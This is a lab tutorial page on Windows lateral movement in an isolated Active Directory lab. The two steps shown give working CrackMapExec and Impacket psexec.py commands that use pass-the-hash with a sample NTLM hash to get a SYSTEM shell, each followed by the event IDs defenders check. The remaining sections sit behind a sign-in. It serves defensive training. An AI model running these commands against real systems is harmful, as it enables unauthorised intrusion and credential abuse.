Practice library / Active Directory and Windows attacks
Lab · Medium · 1.5 hoursFree account
Windows Lateral Movement
PsExec, WMI, WinRM, scheduled tasks and pass-the-hash — and the event IDs that catch each one.
On this page 11 sections
- ·Prerequisites
- ·Lab Setup
- 1Confirm you hold admin rights on the target
- 2Run commands with PsExec-style service creation
- Locked: Run commands over WMI, without a new service
- Locked: Get a PowerShell session over WinRM
- Locked: Run a command with a remote scheduled task
- Locked: Run a command with a hand-built service
- Locked: Hunt your own activity in the event log
- Locked: Check
- Locked: Clean-up
Lateral movement is how one compromised Windows host becomes many. Attackers chain SMB, RPC and WinRM protocols to run code on their next target, often through built-in tools that leave different trails — the same five techniques ransomware crews use to reach a domain controller in hours. Build each execution path yourself, then read the exact event log entry each one writes back.
Lab Objectives
- Confirm administrator rights on a target before you try to move to it
- Run commands remotely with PsExec-style service creation, WMI and WinRM
- Reuse a captured NTLM hash with pass-the-hash instead of a plaintext password
- Run code on a remote host with a scheduled task and with a hand-built service
- Match each technique to the Windows event IDs and logs a defender checks
Prerequisites
Finish Active Directory Basics first. It covers the AD terms this lab uses: domain, Kerberos, LDAP, and how to get a first set of domain credentials.
Read the Windows Command Line & PowerShell workbook if cmd.exe and PowerShell syntax are new to you.
This lab starts after a foothold, the way a real internal test does. You already hold one domain user's password and one local administrator's NTLM hash on the target, both captured the way Active Directory Basics shows.
Lab Setup
KaliRange hosts no machines. Build this lab inside your own isolated AD lab domain: virtual machines on your own computer, with an evaluation copy of Windows Server from the Microsoft Evaluation Center (180 days) for DC01. The names and addresses below are the example values of this lab. Replace them with your own. Take a snapshot of each machine before Step 1. Point every command below at that lab only.
| Role | Hostname | IP address |
|---|---|---|
| Domain controller | DC01 | 192.168.1.10 |
| Domain member (target) | WKSTN01 | 192.168.1.20 |
| Attacker (Kali) | KALI01 | 192.168.1.50 |
Domain: CORP.LOCAL.
You start this lab with:
- A domain user,
CORP.LOCAL\jdoe, passwordPassword123!, with no special rights. - A local administrator NTLM hash on WKSTN01, captured in an earlier lab with Impacket's
secretsdump.py:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c.
Tools: Impacket (psexec.py, wmiexec.py, smbclient.py), evil-winrm, CrackMapExec, and the built-in schtasks and sc.exe clients.
Run every command in this lab against your own CORP.LOCAL lab domain only. These techniques move an attacker between real machines. Use them only against a system you own or a lab environment given to you for this purpose, never against a production network.
Step 1: Confirm you hold admin rights on the target
Lateral movement needs local administrator rights on the target, through a password, a hash, or a ticket. Check this first with CrackMapExec, before you try any execution method.
crackmapexec smb 192.168.1.20 -u jdoe -p 'Password123!'Example output:
SMB 192.168.1.20 445 WKSTN01 [*] Windows 10.0 Build 19041 x64 (name:WKSTN01) (domain:CORP.LOCAL) (signing:False) (SMBv1:False)
SMB 192.168.1.20 445 WKSTN01 [-] CORP.LOCAL\jdoe:Password123! STATUS_LOGON_FAILUREA plain domain user fails here, because jdoe has no local admin rights on WKSTN01. Try the captured hash instead.
crackmapexec smb 192.168.1.20 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586cExample output:
SMB 192.168.1.20 445 WKSTN01 [*] Windows 10.0 Build 19041 x64 (name:WKSTN01) (domain:CORP.LOCAL) (signing:False) (SMBv1:False)
SMB 192.168.1.20 445 WKSTN01 [+] CORP.LOCAL\administrator 8846f7eaee8fb117ad06bdd830b7586c (Pwn3d!)(Pwn3d!) means CrackMapExec confirmed admin access with this hash, with no plaintext password involved. Use this account for the rest of the lab.
Defender view: each check is a logon event. Event ID 4625 (failed logon) marks the jdoe attempt, then Event ID 4624 (successful logon, Logon Type 3, Authentication Package NTLM) marks the hash check. Several 4625 events against one account from one source, followed by a 4624 against a different account, is a credential-testing pattern worth an alert.
Step 2: Run commands with PsExec-style service creation
Impacket's psexec.py copies an executable to the target over the ADMIN$ share, creates a Windows service that runs it, then opens an interactive shell over a named pipe. This is the oldest and the noisiest lateral movement method.
psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20Example output:
[*] Requesting shares on 192.168.1.20.....
[*] Found writable share ADMIN$
[*] Uploading file nQoRnTVW.exe
[*] Opening SVCManager on 192.168.1.20.....
[*] Creating service RemA on 192.168.1.20.....
[*] Starting service RemA.....
Microsoft Windows [Version 10.0.19041.1]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\systempsexec.py runs as nt authority\system, not as administrator, because the service runs under the Local System context. The file name and the service name are random on every run; nQoRnTVW.exe and RemA are one example, not fixed values.
Defender view: on WKSTN01, Event ID 5140 (a network share object, ADMIN$, was accessed) fires first, then Event ID 7045, or Security log Event ID 4697 (a new service was installed), with an image path pointing at a random file name under C:\Windows. Sysmon Event ID 1 shows that service process spawning cmd.exe. A short-lived service with a random name, installed once and removed soon after, is a strong PsExec indicator.
Sign in to continue
7 more sections are for signed-in members. It is free: sign in with Google.